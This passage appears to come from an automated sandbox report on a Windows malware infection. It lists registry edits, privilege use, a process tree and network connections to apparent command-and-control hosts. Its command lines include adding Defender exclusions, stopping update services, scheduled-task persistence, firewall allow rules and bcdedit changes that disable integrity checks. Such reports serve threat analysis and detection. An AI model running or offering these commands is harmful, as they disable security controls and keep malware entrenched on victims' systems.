260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 | C:\Windows\rss\csrss.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 | C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe | N/A |
| Set value (data) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 0f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 | C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: LoadsDriver
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\toolspub2.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\8D65.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\conhost.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\conhost.exe | N/A |
| Token: SeImpersonatePrivilege | N/A | C:\Windows\system32\conhost.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeSystemEnvironmentPrivilege | N/A | C:\Windows\rss\csrss.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\schtasks.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\System32\powercfg.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\System32\powercfg.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\System32\powercfg.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Windows\SysWOW64\sc.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Windows\SysWOW64\sc.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\System32\powercfg.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\System32\powercfg.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\System32\powercfg.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\System32\powercfg.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeDebugPrivilege | N/A | C:\Program Files\Google\Chrome\updater.exe | N/A |
| Token: SeLockMemoryPrivilege | N/A | C:\Windows\explorer.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| N/A | N/A | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| N/A | N/A | C:\Windows\Explorer.EXE | N/A |
| N/A | N/A | C:\Windows\Explorer.EXE | N/A |
| N/A | N/A | C:\Windows\Explorer.EXE | N/A |
| N/A | N/A | C:\Windows\Explorer.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| N/A | N/A | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE | N/A |
| N/A | N/A | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| N/A | N/A | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v2035040.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v2035040.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2556104.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2556104.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2804 -s 36
C:\Users\Admin\AppData\Local\Temp\85A4.exe
C:\Users\Admin\AppData\Local\Temp\85A4.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\TC8GG4oS.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\TC8GG4oS.exe
C:\Users\Admin\AppData\Local\Temp\872B.exe
C:\Users\Admin\AppData\Local\Temp\872B.exe
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Bb7ie3oC.exe
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Bb7ie3oC.exe
C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\Vg7CY8Fv.exe
C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\Vg7CY8Fv.exe
C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\KI6yN2Co.exe
C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\KI6yN2Co.exe
C:\Users\Admin\AppData\Local\Temp\IXP006.TMP\1pU73RN0.exe
C:\Users\Admin\AppData\Local\Temp\IXP006.TMP\1pU73RN0.exe
C:\Users\Admin\AppData\Local\Temp\8B71.exe
C:\Users\Admin\AppData\Local\Temp\8B71.exe
C:\Users\Admin\AppData\Local\Temp\8883.bat
"C:\Users\Admin\AppData\Local\Temp\8883.bat"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2508 -s 132
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3052 -s 280
C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\8B2F.tmp\8B30.tmp\8B60.bat C:\Users\Admin\AppData\Local\Temp\8883.bat"
C:\Users\Admin\AppData\Local\Temp\8D65.exe
C:\Users\Admin\AppData\Local\Temp\8D65.exe
C:\Users\Admin\AppData\Local\Temp\8F69.exe
C:\Users\Admin\AppData\Local\Temp\8F69.exe
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1716 -s 132
C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" https://accounts.google.com/
C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
"C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe"
C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN explothe.exe /TR "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe" /F
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "explothe.exe" /P "Admin:N"&&CACLS "explothe.exe" /P "Admin:R" /E&&echo Y|CACLS "..\fefffe8cea" /P "Admin:N"&&CACLS "..\fefffe8cea" /P "Admin:R" /E&&Exit
C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" https://www.facebook.com/login
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2404 CREDAT:275458 /prefetch:2
C:\Windows\SysWOW64\cacls.exe
CACLS "explothe.exe" /P "Admin:N"
C:\Windows\SysWOW64\cacls.exe
CACLS "explothe.exe" /P "Admin:R" /E
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
C:\Windows\SysWOW64\cacls.exe
CACLS "..\fefffe8cea" /P "Admin:N"
C:\Windows\SysWOW64\cacls.exe
CACLS "..\fefffe8cea" /P "Admin:R" /E
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1080 CREDAT:275457 /prefetch:2
C:\Users\Admin\AppData\Local\Temp\BFAD.exe
C:\Users\Admin\AppData\Local\Temp\BFAD.exe
C:\Windows\system32\taskeng.exe
taskeng.exe {673FBD4F-A3CA-4982-8485-8DCBC2CD345B} S-1-5-21-2180306848-1874213455-4093218721-1000:XEBBURHY\Admin:Interactive:[1]
C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
C:\Users\Admin\AppData\Local\Temp\source1.exe
"C:\Users\Admin\AppData\Local\Temp\source1.exe"
C:\Users\Admin\AppData\Local\Temp\latestX.exe
"C:\Users\Admin\AppData\Local\Temp\latestX.exe"
C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20231010202704.log C:\Windows\Logs\CBS\CbsPersist_20231010202704.cab
C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe
C:\Users\Admin\AppData\Local\Temp\F177.exe
C:\Users\Admin\AppData\Local\Temp\F177.exe
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2460 -s 528
C:\Windows\system32\schtasks.exe
schtasks /delete /tn ScheduledUpdate /f
C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
C:\Users\Admin\AppData\Local\Temp\F7DE.exe
C:\Users\Admin\AppData\Local\Temp\F7DE.exe
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2140 -s 508
C:\Users\Admin\AppData\Local\Temp\FACC.exe
C:\Users\Admin\AppData\Local\Temp\FACC.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1818916531-151264071413630942971799888289-2145689391-805724997-128883581786552612"
C:\Windows\System32\sc.exe
sc stop UsoSvc
C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
C:\Windows\System32\sc.exe
sc stop wuauserv
C:\Windows\System32\sc.exe
sc stop bits
C:\Windows\System32\sc.exe
sc stop dosvc
C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "167731330820996351981562161279681665250-1085952287-942073446-1137486070-280089132"
C:\Windows\system32\taskeng.exe
taskeng.exe {4F7CCC5B-F759-4105-9BFA-83BFF25AD323} S-1-5-18:NT AUTHORITY\System:Service:
C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -timeout 0
C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
C:\Windows\windefender.exe
"C:\Windows\windefender.exe"
C:\Windows\SysWOW64\cmd.exe
cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
C:\Windows\SysWOW64\sc.exe
sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
C:\Windows\windefender.exe
C:\Windows\windefender.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
C:\Windows\System32\sc.exe
sc stop UsoSvc
C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
C:\Windows\System32\sc.exe
sc stop wuauserv
C:\Windows\System32\sc.exe
sc stop bits
C:\Windows\System32\sc.exe
sc stop dosvc
C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe
C:\Windows\explorer.exe
C:\Windows\explorer.exe
Network
| Country | Destination | Domain | Proto |
| FI | 77.91.68.29:80 | 77.91.68.29 | tcp |
| RU | 5.42.65.80:80 | 5.42.65.80 | tcp |
| US | 8.8.8.8:53 | udp | |
| NL | 142.250.179.141:443 | accounts.google.com | tcp |
| NL | 142.250.179.141:443 | accounts.google.com | tcp |
| US | 8.8.8.8:53 | www.facebook.com | udp |
| FI | 77.91.124.1:80 | 77.91.124.1 | tcp |
| NL | 157.240.201.35:443 | www.facebook.com | tcp |
| NL | 157.240.201.35:443 | www.facebook.com | tcp |
| US | 8.8.8.8:53 | static.xx.fbcdn.net | udp |
| US | 8.8.8.8:53 | facebook.com | udp |
| CZ | 157.240.30.27:443 | static.xx.fbcdn.net | tcp |
| CZ | 157.240.30.27:443 | static.xx.fbcdn.net | tcp |
| CZ | 157.240.30.35:443 | facebook.com | tcp |
| CZ | 157.240.30.35:443 | facebook.com | tcp |
| CZ | 157.240.30.27:443 | static.xx.fbcdn.net | tcp |
| CZ | 157.240.30.27:443 | static.xx.fbcdn.net | tcp |
| CZ | 157.240.30.27:443 | static.xx.fbcdn.net | tcp |
| CZ | 157.240.30.27:443 | static.xx.fbcdn.net | tcp |
| US | 8.8.8.8:53 | fbcdn.net | udp |
| CZ | 157.240.30.35:443 | fbcdn.net | tcp |
| CZ | 157.240.30.35:443 | fbcdn.net | tcp |
| US | 8.8.8.8:53 | fbsbx.com | udp |
| CZ | 157.240.30.35:443 | fbsbx.com | tcp |
| CZ | 157.240.30.35:443 | fbsbx.com | tcp |
| NL | 157.240.201.35:443 | www.facebook.com | tcp |
| NL | 157.240.201.35:443 | www.facebook.com | tcp |
| NL | 157.240.201.35:443 | www.facebook.com | tcp |
| NL | 157.240.201.35:443 | www.facebook.com | tcp |
| US | 8.8.8.8:53 | accounts.youtube.com | udp |
| NL | 142.250.179.141:443 | accounts.google.com | tcp |
| NL | 142.250.179.206:443 | accounts.youtube.com | tcp |
| NL | 142.250.179.206:443 | accounts.youtube.com | tcp |
| US | 8.8.8.8:53 | play.google.com | udp |
| NL | 142.251.36.14:443 | play.google.com | tcp |
| FI | 77.91.68.29:80 | 77.91.68.29 | tcp |
| TR | 185.216.70.222:80 | 185.216.70.222 | tcp |
| NL | 142.250.179.141:443 | accounts.google.com | tcp |
| FI | 77.91.68.29:80 | 77.91.68.29 | tcp |
| US | 8.8.8.8:53 | 28f2025a-2558-4350-be70-e6b99d7d68d2.uuid.cdntokiog.studio | udp |
| US | 8.8.8.8:53 | msdl.microsoft.com | udp |
| US | 204.79.197.219:443 | msdl.microsoft.com | tcp |
| NL | 85.209.176.171:80 | 85.209.176.171 | tcp |
| US | 8.8.8.8:53 | vsblobprodscussu5shard30.blob.core.windows.net | udp |
| US | 20.150.38.228:443 | vsblobprodscussu5shard30.blob.core.windows.net | tcp |
| US | 8.8.8.8:53 | bytecloudasa.website | udp |
| US | 172.67.212.39:80 | bytecloudasa.website | tcp |
| US | 172.67.212.39:80 | bytecloudasa.website | tcp |
| US | 172.67.212.39:80 | bytecloudasa.website | tcp |
| US | 172.67.212.39:80 | bytecloudasa.website | tcp |
| US | 172.67.212.39:80 | bytecloudasa.website | tcp |
| US | 172.67.212.39:80 | bytecloudasa.website | tcp |
| US | 172.67.212.39:80 | bytecloudasa.website | tcp |
| US | 172.67.212.39:80 | bytecloudasa.website | tcp |
| US | 172.67.212.39:80 | bytecloudasa.website | tcp |
| US | 172.67.212.39:80 | bytecloudasa.website | tcp |
| US | 172.67.212.39:80 | bytecloudasa.website | tcp |
| US | 172.67.212.39:80 | bytecloudasa.website | tcp |
| US | 172.67.212.39:80 | bytecloudasa.website | tcp |
| US | 172.67.212.39:80 | bytecloudasa.website | tcp |
| US | 172.67.212.39:80 | bytecloudasa.website | tcp |
| US | 172.67.212.39:80 | bytecloudasa.website | tcp |
| US | 8.8.8.8:53 | api.ip.sb | udp |
